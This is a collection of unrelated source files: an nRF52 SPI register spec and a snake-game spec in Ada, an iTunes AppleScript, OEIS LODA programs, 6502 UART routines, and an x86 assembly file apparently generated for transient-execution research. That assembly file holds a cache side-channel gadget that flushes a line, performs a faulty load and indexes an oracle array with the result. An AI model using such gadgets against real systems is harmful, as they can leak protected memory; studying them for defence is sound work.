-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--
-- This spec has been automatically generated from nrf52.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with System;
package NRF52.SPI is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype EVENTS_READY_EVENTS_READY_Field is NRF52.Bit;
-- TXD byte sent and RXD byte received
type EVENTS_READY_Register is record
EVENTS_READY : EVENTS_READY_EVENTS_READY_Field := 16#0#;
-- unspecified
Reserved_1_31 : NRF52.UInt31 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EVENTS_READY_Register use record
EVENTS_READY at 0 range 0 .. 0;
Reserved_1_31 at 0 range 1 .. 31;
end record;
-- Write '1' to Enable interrupt for READY event
type INTENSET_READY_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for INTENSET_READY_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Enable interrupt for READY event
type INTENSET_READY_Field_1 is
(-- Reset value for the field
Intenset_Ready_Field_Reset,
-- Enable
Set)
with Size => 1;
for INTENSET_READY_Field_1 use
(Intenset_Ready_Field_Reset => 0,
Set => 1);
-- Enable interrupt
type INTENSET_Register is record
-- unspecified
Reserved_0_1 : NRF52.UInt2 := 16#0#;
-- Write '1' to Enable interrupt for READY event
READY : INTENSET_READY_Field_1 := Intenset_Ready_Field_Reset;
-- unspecified
Reserved_3_31 : NRF52.UInt29 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for INTENSET_Register use record
Reserved_0_1 at 0 range 0 .. 1;
READY at 0 range 2 .. 2;
Reserved_3_31 at 0 range 3 .. 31;
end record;
-- Write '1' to Disable interrupt for READY event
type INTENCLR_READY_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for INTENCLR_READY_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Disable interrupt for READY event
type INTENCLR_READY_Field_1 is
(-- Reset value for the field
Intenclr_Ready_Field_Reset,
-- Disable
Clear)
with Size => 1;
for INTENCLR_READY_Field_1 use
(Intenclr_Ready_Field_Reset => 0,
Clear => 1);
-- Disable interrupt
type INTENCLR_Register is record
-- unspecified
Reserved_0_1 : NRF52.UInt2 := 16#0#;
-- Write '1' to Disable interrupt for READY event
READY : INTENCLR_READY_Field_1 := Intenclr_Ready_Field_Reset;
-- unspecified
Reserved_3_31 : NRF52.UInt29 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for INTENCLR_Register use record
Reserved_0_1 at 0 range 0 .. 1;
READY at 0 range 2 .. 2;
Reserved_3_31 at 0 range 3 .. 31;
end record;
-- Enable or disable SPI
type ENABLE_ENABLE_Field is
(-- Disable SPI
Disabled,
-- Enable SPI
Enabled)
with Size => 4;
for ENABLE_ENABLE_Field use
(Disabled => 0,
Enabled => 1);
-- Enable SPI
type ENABLE_Register is record
-- Enable or disable SPI
ENABLE : ENABLE_ENABLE_Field := NRF52.SPI.Disabled;
-- unspecified
Reserved_4_31 : NRF52.UInt28 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ENABLE_Register use record
ENABLE at 0 range 0 .. 3;
Reserved_4_31 at 0 range 4 .. 31;
end record;
----------------------------------
-- SPI_PSEL cluster's Registers --
----------------------------------
-- Unspecified
type SPI_PSEL_Cluster is record
-- Pin select for SCK
SCK : aliased NRF52.UInt32;
-- Pin select for MOSI
MOSI : aliased NRF52.UInt32;
-- Pin select for MISO
MISO : aliased NRF52.UInt32;
end record
with Size => 96;
for SPI_PSEL_Cluster use record
SCK at 16#0# range 0 .. 31;
MOSI at 16#4# range 0 .. 31;
MISO at 16#8# range 0 .. 31;
end record;
subtype RXD_RXD_Field is NRF52.Byte;
-- RXD register
type RXD_Register is record
-- Read-only. *** Reading this field has side effects on other resources
-- ***. RX data received. Double buffered
RXD : RXD_RXD_Field;
-- unspecified
Reserved_8_31 : NRF52.UInt24;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for RXD_Register use record
RXD at 0 range 0 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
subtype TXD_TXD_Field is NRF52.Byte;
-- TXD register
type TXD_Register is record
-- TX data to send. Double buffered
TXD : TXD_TXD_Field := 16#0#;
-- unspecified
Reserved_8_31 : NRF52.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for TXD_Register use record
TXD at 0 range 0 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
-- Bit order
type CONFIG_ORDER_Field is
(-- Most significant bit shifted out first
Msbfirst,
-- Least significant bit shifted out first
Lsbfirst)
with Size => 1;
for CONFIG_ORDER_Field use
(Msbfirst => 0,
Lsbfirst => 1);
-- Serial clock (SCK) phase
type CONFIG_CPHA_Field is
(-- Sample on leading edge of clock, shift serial data on trailing edge
Leading,
-- Sample on trailing edge of clock, shift serial data on leading edge
Trailing)
with Size => 1;
for CONFIG_CPHA_Field use
(Leading => 0,
Trailing => 1);
-- Serial clock (SCK) polarity
type CONFIG_CPOL_Field is
(-- Active high
Activehigh,
-- Active low
Activelow)
with Size => 1;
for CONFIG_CPOL_Field use
(Activehigh => 0,
Activelow => 1);
-- Configuration register
type CONFIG_Register is record
-- Bit order
ORDER : CONFIG_ORDER_Field := NRF52.SPI.Msbfirst;
-- Serial clock (SCK) phase
CPHA : CONFIG_CPHA_Field := NRF52.SPI.Leading;
-- Serial clock (SCK) polarity
CPOL : CONFIG_CPOL_Field := NRF52.SPI.Activehigh;
-- unspecified
Reserved_3_31 : NRF52.UInt29 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CONFIG_Register use record
ORDER at 0 range 0 .. 0;
CPHA at 0 range 1 .. 1;
CPOL at 0 range 2 .. 2;
Reserved_3_31 at 0 range 3 .. 31;
end record;
----------------------------------
-- SPI_PSEL cluster's Registers --
----------------------------------
----------------------------------
-- SPI_PSEL cluster's Registers --
----------------------------------
-----------------
-- Peripherals --
-----------------
-- Serial Peripheral Interface 0
type SPI_Peripheral is record
-- TXD byte sent and RXD byte received
EVENTS_READY : aliased EVENTS_READY_Register;
-- Enable interrupt
INTENSET : aliased INTENSET_Register;
-- Disable interrupt
INTENCLR : aliased INTENCLR_Register;
-- Enable SPI
ENABLE : aliased ENABLE_Register;
-- Unspecified
PSEL : aliased SPI_PSEL_Cluster;
-- RXD register
RXD : aliased RXD_Register;
-- TXD register
TXD : aliased TXD_Register;
-- SPI frequency
FREQUENCY : aliased NRF52.UInt32;
-- Configuration register
CONFIG : aliased CONFIG_Register;
end record
with Volatile;
for SPI_Peripheral use record
EVENTS_READY at 16#108# range 0 .. 31;
INTENSET at 16#304# range 0 .. 31;
INTENCLR at 16#308# range 0 .. 31;
ENABLE at 16#500# range 0 .. 31;
PSEL at 16#508# range 0 .. 95;
RXD at 16#518# range 0 .. 31;
TXD at 16#51C# range 0 .. 31;
FREQUENCY at 16#524# range 0 .. 31;
CONFIG at 16#554# range 0 .. 31;
end record;
-- Serial Peripheral Interface 0
SPI0_Periph : aliased SPI_Peripheral
with Import, Address => SPI0_Base;
-- Serial Peripheral Interface 1
SPI1_Periph : aliased SPI_Peripheral
with Import, Address => SPI1_Base;
-- Serial Peripheral Interface 2
SPI2_Periph : aliased SPI_Peripheral
with Import, Address => SPI2_Base;
end NRF52.SPI;
|
snake_functions.ads | thieryw/snake_array_impl | 0 | 11346 | with snake_types,display ;
package snake_functions is
function are_same_coord(point1 : snake_types.Coordinates ; point2 : snake_types.Coordinates) return boolean ;
function create_snake return snake_types.Snake ;
procedure move_snake(s : in out snake_types.Snake ; dir : snake_types.Snake_direction ; fruit_coord : in out snake_types.Coordinates ; time_out : in out integer ; score : in out integer) ;
procedure retreve_user_input(
has_new_user_input: out boolean;
direction: out snake_types.Snake_direction ;
user_controls_value: in snake_types.User_Controls.Map
);
function get_user_controls_default return snake_types.User_Controls.Map ;
procedure update_direction(dir : in out snake_types.Snake_direction ; new_direction : snake_types.Snake_direction) ;
procedure generate_fruit(
s : snake_types.snake ;
fruit : out snake_types.Coordinates ;
time_out : out integer
) ;
procedure render_game(s : snake_types.snake ; fruit : snake_types.Coordinates) ;
procedure is_end_of_game(s : snake_types.snake ; end_game : out boolean) ;
end snake_functions ;
|
scripts/itunes/en/pause.applescript | dnedry2/vscode-itunes | 16 | 2864 | <filename>scripts/itunes/en/pause.applescript
tell application "iTunes"
pause
end tell |
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_357.asm | ljhsiun2/medusa | 9 | 96487 | <reponame>ljhsiun2/medusa<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x179e7, %rcx
nop
nop
nop
nop
nop
dec %r12
mov (%rcx), %esi
nop
nop
xor %r11, %r11
lea addresses_D_ht+0xcee7, %r14
nop
nop
nop
nop
nop
sub $62927, %r15
mov $0x6162636465666768, %rbx
movq %rbx, %xmm4
vmovups %ymm4, (%r14)
nop
nop
nop
nop
xor %rbx, %rbx
lea addresses_UC_ht+0x1dee7, %rsi
lea addresses_WC_ht+0xf7c7, %rdi
nop
nop
nop
and $19050, %rbx
mov $34, %rcx
rep movsq
sub %r12, %r12
lea addresses_WT_ht+0x11f4b, %rsi
lea addresses_WT_ht+0x14ae7, %rdi
nop
nop
dec %r12
mov $88, %rcx
rep movsw
add $52559, %r14
lea addresses_A_ht+0x172e7, %rsi
lea addresses_UC_ht+0x1d813, %rdi
nop
nop
nop
dec %r12
mov $64, %rcx
rep movsw
nop
dec %r12
lea addresses_A_ht+0x5273, %rsi
lea addresses_WC_ht+0x1deeb, %rdi
nop
nop
nop
nop
sub $6868, %r15
mov $87, %rcx
rep movsb
nop
nop
nop
nop
nop
xor $10589, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %r9
push %rbp
push %rbx
push %rcx
// Store
lea addresses_WT+0x126ff, %rbx
nop
nop
nop
nop
inc %rcx
mov $0x5152535455565758, %rbp
movq %rbp, %xmm5
vmovups %ymm5, (%rbx)
add %r12, %r12
// Store
lea addresses_WC+0x1f27, %rbx
nop
nop
nop
nop
nop
sub %r15, %r15
mov $0x5152535455565758, %r12
movq %r12, %xmm2
vmovntdq %ymm2, (%rbx)
nop
nop
inc %r15
// Store
lea addresses_WC+0x1fc87, %r15
nop
nop
nop
nop
dec %r9
mov $0x5152535455565758, %r8
movq %r8, %xmm5
vmovups %ymm5, (%r15)
nop
nop
nop
nop
cmp %rbp, %rbp
// Faulty Load
lea addresses_normal+0x1eae7, %r8
clflush (%r8)
nop
nop
nop
dec %rcx
movups (%r8), %xmm7
vpextrq $0, %xmm7, %r9
lea oracles, %rbp
and $0xff, %r9
shlq $12, %r9
mov (%rbp,%r9,1), %r9
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': True}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
oeis/159/A159018.asm | neoneye/loda-programs | 11 | 29970 | <reponame>neoneye/loda-programs<gh_stars>10-100
; A159018: a(0)=5; a(n) = a(n-1) + floor(sqrt(a(n-1))), n > 0.
; 5,7,9,12,15,18,22,26,31,36,42,48,54,61,68,76,84,93,102,112,122,133,144,156,168,180,193,206,220,234,249,264,280,296,313,330,348,366,385,404,424,444,465,486,508,530,553,576,600,624,648,673,698,724,750,777,804,832,860,889,918,948,978,1009,1040,1072,1104,1137,1170,1204,1238,1273,1308,1344,1380,1417,1454,1492,1530,1569,1608,1648,1688,1729,1770,1812,1854,1897,1940,1984,2028,2073,2118,2164,2210,2257,2304,2352,2400,2448
mul $0,2
mov $2,$0
lpb $0
mov $0,$2
add $0,2
add $1,1
add $0,$1
mov $2,1
add $3,1
div $0,$3
sub $0,$3
sub $0,3
add $1,$0
lpe
mov $0,$1
add $0,5
|
programs/oeis/082/A082524.asm | neoneye/loda | 22 | 861 | ; A082524: a(1)=1, a(2)=2, then use the rule when a(n) is the end of a run, n appears a(n) times.
; 1,2,2,3,3,5,5,5,8,8,8,8,8,13,13,13,13,13,13,13,13,21,21,21,21,21,21,21,21,21,21,21,21,21,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55
add $0,3
mov $2,4
mov $5,5
lpb $0
add $0,$2
add $3,4
trn $4,2
mov $1,$4
add $5,2
trn $0,$5
add $0,2
add $1,4
add $4,$3
mov $3,$0
sub $0,1
sub $3,$2
add $4,1
mov $5,$1
add $1,5
sub $4,$0
lpe
sub $1,8
mov $0,$1
|
ROM/include/funcs_uart_SC28L92.asm | mspeculatrix/Zolatron64 | 0 | 21201 | <reponame>mspeculatrix/Zolatron64
\\ funcs_uart_SC28L92.asm
.uart_SC28L92_init
pha
lda #%10110000 ; To set MR pointer to 0
sta SC28L92_CRA ; Need some clock cycles to pass, so write to lower bits.
lda #%00000100 ; Enable TX
sta SC28L92_CRA
lda #%00000001 ; Enable RX
sta SC28L92_CRA
; TRY COMBINING THE ABOVE COMMANDS/SETTINGS
lda #%10011000 ; RX watchdog on, 1-byte fill level for RX interrupts,
sta SC28L92_MRA ; 16 bytes for TX int, 16-byte FIFO, baudrate mode normal.
lda #%00010000 ; To set MR pointer to MR1A
sta SC28L92_CRA
; nop ; 2 nops = 4 cycles
; nop ; DON'T THINK THESE ARE NEEDED
lda #%00010011 ; No RTS, 1-byte fill level for RX interrupts, char err mode,
sta SC28L92_MRA ; no parity, 8 bits per char - MR pointer gets set to MR2A.
lda #%00000111 ; 1 stop bit
sta SC28L92_MRA
\\ Set baud rate - assuming normal, not extended, mode
lda #%10000000 ; Set baud rate generator select bit to 1
sta SC28L92_ACR
lda #%10111011 ; Receive and transmit at 9600
;lda #%11011000 ; Receive and transmit at 19200
sta SC28L92_CSRA
\\ Set interrupt mask register. Determines which events produce interrupts
lda #%00000010 ; Enable interrupts on RX on port A
sta SC28L92_IMR
pla
rts
.uart_SC28L92_println
pha : phy
ldy #0 ; Set message offset to 0
.uart_SC28L92_println_chr
jsr uart_SC28L92_wait_send_clr ; Wait for serial port to be ready
lda (MSG_VEC),Y ; Load next char
beq uart_SC28L92_println_end ; If char is 0, we've finished
sta SC28L92_TxFIFOA ; Write to data register. This sends the byte.
iny ; Increment index
jmp uart_SC28L92_println_chr ; Go back for next character
.uart_SC28L92_println_end
lda #CHR_LINEEND
sta SC28L92_TxFIFOA
ply : pla
rts
.uart_SC28L92_wait_send_clr
pha
.uart_SC28L92_wait_loop
lda SC28L92_SRA ; Load the status register
and #SC28L92_TxRDY ; Check the FIFO NOT FULL bit
beq uart_SC28L92_wait_loop ; If not set, loop...
pla
rts
.uart_SC28L92_test_msg
pha
lda #<test_msg
sta MSG_VEC
lda #>test_msg
sta MSG_VEC+1
jsr uart_SC28L92_println
pla
rts
|
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